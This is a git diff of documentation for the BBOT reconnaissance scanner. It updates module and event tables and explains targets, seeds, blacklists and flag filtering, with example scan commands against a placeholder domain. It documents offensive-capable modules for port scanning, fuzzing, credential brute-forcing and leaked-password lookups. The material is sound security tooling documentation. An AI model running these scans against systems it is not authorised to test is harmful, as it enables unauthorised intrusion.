-| IP_RANGE            | 2                     | 0                     | portscan, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| MOBILE_APP          | 1                     | 1                     | apkpure                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | google_playstore                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| OPEN_TCP_PORT       | 6                     | 5                     | asset_inventory, fingerprintx, httpx, nmap_xml, portfilter, sslcert                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | asset_inventory, censys_ip, portscan, shodan_idb, speculate                                                                                                                                                                                                                                                                                                                                                                           |
-| OPEN_UDP_PORT       | 0                     | 1                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | censys_ip                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| ORG_STUB            | 4                     | 1                     | dockerhub, github_org, google_playstore, postman                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | speculate                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| PASSWORD            | 0                     | 2                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | credshed, dehashed                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| PROTOCOL            | 3                     | 2                     | legba, medusa, nmap_xml                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | censys_ip, fingerprintx                                                                                                                                                                                                                                                                                                                                                                                                               |
-| RAW_DNS_RECORD      | 0                     | 3                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | dnsbimi, dnsresolve, dnstlsrpt                                                                                                                                                                                                                                                                                                                                                                                                        |
-| RAW_TEXT            | 2                     | 1                     | excavate, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | extractous                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| SOCIAL              | 7                     | 4                     | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | dockerhub, github_usersearch, gitlab_onprem, social                                                                                                                                                                                                                                                                                                                                                                                   |
-| STORAGE_BUCKET      | 8                     | 5                     | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft                                                                                                                                                                                                                                                                                                                                                  |
-| TECHNOLOGY          | 4                     | 8                     | asset_inventory, gitlab_onprem, web_report, wpscan                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_idb, wpscan                                                                                                                                                                                                                                                                                                                                               |
-| URL                 | 24                    | 2                     | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, generic_ssrf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, vhost, wafw00f, web_report                                                                                                                                                                                                                                                                                                                                                                                        | gowitness, httpx                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| URL_HINT            | 1                     | 1                     | ffuf_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | iis_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                        |
-| URL_UNVERIFIED      | 8                     | 18                    | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan                                                                                                                                                                                                                                   |
-| USERNAME            | 1                     | 2                     | speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | credshed, dehashed                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| VHOST               | 1                     | 1                     | web_report                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | vhost                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| VULNERABILITY       | 2                     | 15                    | asset_inventory, web_report                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, dotnetnuke, generic_ssrf, lightfuzz, medusa, nuclei, shodan_idb, telerik, trufflehog, wpscan                                                                                                                                                                                                                                                            |
-| WAF                 | 1                     | 1                     | asset_inventory                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | wafw00f                                                                                                                                                                                                                                                                                                                                                                                                                               |
-| WEBSCREENSHOT       | 0                     | 1                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | gowitness                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| WEB_PARAMETER       | 7                     | 4                     | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers                                                                                                                                                                                                                                                                                                                                                                |
+| Event Type          | # Consuming Modules   | # Producing Modules   | Consuming Modules                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Producing Modules                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| *                   | 24                    | 0                     | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| ASN                 | 0                     | 1                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | asn                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| AZURE_TENANT        | 1                     | 1                     | speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | azure_tenant                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| CODE_REPOSITORY     | 8                     | 8                     | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman                                                                                                                                                                                                                                                                                                                                                                                                     |
+| DNS_NAME            | 57                    | 39                    | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback                                                                         |
+| DNS_NAME_UNRESOLVED | 3                     | 0                     | baddns, speculate, subdomains                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| DNS_NAME_UNVERIFIED | 0                     | 1                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | virtualhost                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| EMAIL_ADDRESS       | 1                     | 11                    | emails                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert                                                                                                                                                                                                                                                                                                                                                                                     |
+| FILESYSTEM          | 4                     | 9                     | jadx, kreuzberg, trufflehog, unarchive                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive                                                                                                                                                                                                                                                                                                                                                                                          |
+| FINDING             | 2                     | 38                    | asset_inventory, web_report                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback |
+| GEOLOCATION         | 0                     | 2                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | ip2location, ipstack                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| HASHED_PASSWORD     | 0                     | 2                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | credshed, dehashed                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| HTTP_RESPONSE       | 18                    | 4                     | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                  | http, lightfuzz, virtualhost, wayback                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| IP_ADDRESS          | 11                    | 5                     | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| IP_RANGE            | 2                     | 1                     | portscan, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | dnsresolve                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| MOBILE_APP          | 1                     | 1                     | apkpure                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | google_playstore                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| OPEN_TCP_PORT       | 5                     | 6                     | asset_inventory, fingerprintx, http, nmap_xml, portfilter                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| OPEN_UDP_PORT       | 0                     | 2                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | censys_ip, shodan_enterprise                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| ORG_STUB            | 4                     | 1                     | dockerhub, github_org, google_playstore, postman                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| PASSWORD            | 0                     | 2                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | credshed, dehashed                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| PROTOCOL            | 3                     | 2                     | legba, medusa, nmap_xml                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | censys_ip, fingerprintx                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| RAW_DNS_RECORD      | 0                     | 3                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | dnsbimi, dnsresolve, dnstlsrpt                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| RAW_TEXT            | 2                     | 1                     | excavate, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | kreuzberg                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| SOCIAL              | 7                     | 4                     | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | dockerhub, github_usersearch, gitlab_onprem, social                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| STORAGE_BUCKET      | 9                     | 6                     | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft                                                                                                                                                                                                                                                                                                                                                                                                   |
+| TECHNOLOGY          | 4                     | 9                     | asset_inventory, gitlab_onprem, trajan, web_report                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb                                                                                                                                                                                                                                                                                                                                                                                            |
+| URL                 | 25                    | 2                     | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute                                                                                                                                                                                                                                                                                                                                                                                    | gowitness, http                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| URL_HINT            | 1                     | 1                     | webbrute_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | iis_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| URL_UNVERIFIED      | 9                     | 19                    | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames                                                                                                                                                                                                                                                                        |
+| USERNAME            | 1                     | 2                     | speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | credshed, dehashed                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| VIRTUAL_HOST        | 0                     | 1                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | virtualhost                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| WAF                 | 1                     | 1                     | asset_inventory                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | wafw00f                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| WEBSCREENSHOT       | 0                     | 1                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | gowitness                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| WEB_PARAMETER       | 7                     | 5                     | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback                                                                                                                                                                                                                                                                                                                                                                                                                        |
 <!-- END BBOT EVENTS -->
 
-## Findings Vs. Vulnerabilities
-
-BBOT has a sharp distinction between Findings and Vulnerabilities:
-
-**VULNERABILITY**
-
-* There's a higher standard for what is allowed to be a vulnerability. They should be considered **confirmed** and **actionable** - no additional confirmation required
-* They are always assigned a severity. The possible severities are: LOW, MEDIUM, HIGH, or CRITICAL
-
-**FINDING**
-
-* Findings can range anywhere from "slightly interesting behavior" to "likely, but unconfirmed vulnerability"
-* Are often false positives
-
-By making this separation, actionable vulnerabilities can be identified quickly in the midst of a large scan
+[Next Up: Output -->](./output.md){ .md-button .md-button--primary }
diff --git a/docs/scanning/index.md b/docs/scanning/index.md
index 332e3ddb7c..8fcc3870f4 100644
--- a/docs/scanning/index.md
+++ b/docs/scanning/index.md
@@ -13,9 +13,17 @@ bbot -t evilcorp.com -f subdomain-enum -m gowitness -n my_scan -o .
 
 If you reuse a scan name, BBOT will automatically append to your previous output files.
 
-## Targets (`-t`)
+## Targets (`-t`), Seeds (`-s`), and Blacklists (`-b`)
 
-Targets declare what's in-scope, and seed a scan with initial data. BBOT accepts an unlimited number of targets. They can be any of the following:
+BBOT uses three related concepts to control scope and drive a scan:
+
+- **Targets (`-t`)** define what is **in-scope**. Active modules (e.g. `nuclei`, `portscan`) will only touch targets and their children.
+- **Seeds (`-s`)** are the starting data that gets fed into modules. If you don't specify `-s`, **your targets are automatically used as seeds**.
+- **Blacklists (`-b`)** define what is **never touched**. Anything matching the blacklist is excluded, even if it would otherwise be in-scope.
+
+### Accepted Input Types
+
+Targets, seeds, and blacklists all accept the same input types:
 
 - `DNS_NAME` (`evilcorp.com`)
 - `IP_ADDRESS` (`1.2.3.4`)
@@ -23,14 +31,17 @@ Targets declare what's in-scope, and seed a scan with initial data. BBOT accepts
 - `OPEN_TCP_PORT` (`192.168.0.1:80`)
 - `URL` (`https://www.evilcorp.com`)
 - `EMAIL_ADDRESS` (`bob@evilcorp.com`)
+- `ASN` (`ASN:17178` or `AS17178`)
+- `USERNAME` (`USER:bobsmith`)
 - `ORG_STUB` (`ORG:evilcorp`)
-- `USER_STUB` (`USER:bobsmith`)
 - `FILESYSTEM` (`FILESYSTEM:/tmp/asdf`)
 - `MOBILE_APP` (`MOBILE_APP:https://play.google.com/store/apps/details?id=com.evilcorp.app`)
 
+Blacklists additionally accept **regex patterns** prefixed with `RE:` (see [Blacklist by Regex](#blacklist-by-regex)).
+
 Note that BBOT only discriminates down to the host level. This means, for example, if you specify a URL `https://www.evilcorp.com` as the target, the scan will be *seeded* with that URL, but the scope of the scan will be the entire host, `www.evilcorp.com`. Other ports/URLs on that same host may also be scanned.
 
-You can specify targets directly on the command line, load them from files, or both! For example:
+You can specify inputs directly on the command line, load them from files, or both:
 
 ```bash
 $ cat targets.txt
@@ -45,7 +56,71 @@ https://www.evilcorp.co.uk
 $ bbot -t targets.txt fsociety.com 5.6.7.0/24 -m portscan
 ```
 
-On start, BBOT automatically converts Targets into [Events](events.md).
+On start, BBOT automatically converts these inputs into [Events](events.md).
+
+### Why Separate Targets and Seeds?
+
+Separating targets from seeds lets you keep a tight scope while still allowing passive discovery outside of it. When BBOT discovers something out-of-scope via a seed, it will still report it, but active modules won't touch it.
+
+For example, say your target has subdomains that resolve both inside and outside an IP range that defines your scope. You can set the IP range as the **target** and the domain as a **seed**:
+
+```bash
+bbot -t 192.168.1.0/24 -s evilcorp.com -f subdomain-enum -m nuclei
+```
+
+Any discovered `evilcorp.com` subdomains that resolve within `192.168.1.0/24` will be actively scanned by Nuclei. Others will be discovered and reported, but not touched by active modules.
+
+### Blacklists
+
+`-b` / `--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it would otherwise be in-scope based on your targets or seeds.
+
+```bash
+# Scan evilcorp.com, but exclude internal.evilcorp.com and its children
+bbot -t evilcorp.com -b internal.evilcorp.com -f subdomain-enum -m portscan nuclei
+```
+
+#### Blacklist by Regex
+
+Blacklists also accept regex patterns. These regexes are checked against the full URL, including the host and path.
+
+To specify a regex, prefix the pattern with `RE:`. For example, to exclude all events containing "signout":
+
+```bash
+bbot -t evilcorp.com -b "RE:signout"
+```
+
+Note that this would blacklist both of the following events:
+
+- `[URL]       http://evilcorp.com/signout.aspx`
+- `[DNS_NAME]  signout.evilcorp.com`
+
+If you only want to blacklist the URL, you could narrow the regex like so:
+
+```bash
+bbot -t evilcorp.com -b 'RE:signout\.aspx$'
+```
+
+Similar to targets, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links:
+
+```yaml title="spider.yml"
+description: Recursive web spider
+
+modules:
+  - http
+
+blacklist:
+  # Prevent spider from invalidating sessions by logging out
+  - "RE:/.*(sign|log)[_-]?out"
+
+config:
+  web:
+    # how many links to follow in a row
+    spider_distance: 2
+    # don't follow links whose directory depth is higher than 4
+    spider_depth: 4
+    # maximum number of links to follow per page
+    spider_links_per_page: 25
+```
 
 ## Modules (`-m`)
 
@@ -54,8 +129,8 @@ To see a full list of modules and their descriptions, use `bbot -l` or see [List
 Modules are the part of BBOT that does the work -- port scanning, subdomain brute-forcing, API querying, etc. Modules consume [Events](events.md) (`IP_ADDRESS`, `DNS_NAME`, etc.) from each other, process the data in a useful way, then emit the results as new events. You can enable individual modules with `-m`.
 
 ```bash
-# Enable modules: portscan, sslcert, and httpx
-bbot -t www.evilcorp.com -m portscan sslcert httpx
+# Enable modules: portscan, sslcert, and http
+bbot -t www.evilcorp.com -m portscan sslcert http
 ```
 
 ### Types of Modules
@@ -63,9 +138,9 @@ bbot -t www.evilcorp.com -m portscan sslcert httpx
 Modules fall into three categories:
 
 - **Scan Modules**:
-    - These make up the majority of modules. Examples are `portscan`, `sslcert`, `httpx`, etc. Enable with `-m`.
+    - These make up the majority of modules. Examples are `portscan`, `sslcert`, `http`, etc. Enable with `-m`.
 - **Output Modules**:
-    - These output scan data to different formats/destinations. `human`, `json`, and `csv` are enabled by default. Enable others with `-om`. (See: [Output](output.md))
+    - These output scan data to different formats/destinations. `txt`, `json`, and `csv` are enabled by default. Add others with `-om`, or remove defaults with `-eom`. (See: [Output](output.md))
 - **Internal Modules**:
     - These modules perform essential, common-sense tasks. They are always enabled, unless explicitly disabled via the config (e.g. `-c speculate=false`).
         - `aggregate`: Summarizes results at the end of a scan
@@ -88,59 +163,59 @@ bbot -f subdomain-enum -l
 Modules can be easily enabled/disabled based on their flags:
 
 - `-f` Enable these flags (e.g. `-f subdomain-enum`)
-- `-rf` Require modules to have this flag (e.g. `-rf safe`)
+- `-rf` Require modules to have this flag (e.g. `-rf passive`)
 - `-ef` Exclude these flags (e.g. `-ef slow`)
 - `-em` Exclude these individual modules (e.g. `-em ipneighbor`)
 - `-lf` List all available flags
 
-Every module is either `safe` or `aggressive`, and either `active` or `passive`. These can be useful for filtering. For example, if you wanted to enable all the `safe` modules, but exclude active ones, you could do:
+Every module is either `active` or `passive`. Some modules are additionally tagged `loud` (generates lots of traffic) or `invasive` (intrusive or potentially destructive). These can be useful for filtering. For example, if you wanted to enable subdomain enumeration modules but exclude loud ones, you could do:
 
 ```bash
-# Enable safe modules but exclude active ones
-bbot -t evilcorp.com -f safe -ef active
+# Enable subdomain-enum modules but exclude loud ones
+bbot -t evilcorp.com -f subdomain-enum -ef loud
 ```
 
 This is equivalent to requiring the passive flag:
 
 ```bash
-# Enable safe modules but only if they're also passive
-bbot -t evilcorp.com -f safe -rf passive
+# Enable subdomain-enum modules but only if they're also passive
+bbot -t evilcorp.com -f subdomain-enum -rf passive
 ```
 
-A single module can have multiple flags. For example, the `securitytrails` module is `passive`, `safe`, `subdomain-enum`. Below is a full list of flags and their associated modules.
+A single module can have multiple flags. For example, the `securitytrails` module is `passive`, `subdomain-enum`. Below is a full list of flags and their associated modules.
 
 ### List of Flags
 
 <!-- BBOT MODULE FLAGS -->
-| Flag             | # Modules   | Description                                                    | Modules                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
-|------------------|-------------|----------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| safe             | 94          | Non-intrusive, safe to run                                     | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, extractous, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback |
-| passive          | 66          | Never connects to target systems                               | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, extractous, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback                                                                                                                                                                                                                                                                                                                                                                               |
-| active           | 52          | Makes active connections to target systems                     | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| subdomain-enum   | 47          | Enumerates subdomains                                          | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| aggressive       | 22          | Generates a large amount of network traffic                    | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| code-enum        | 18          | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
-| web-basic        | 16          | Basic, non-intrusive web scan functionality                    | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
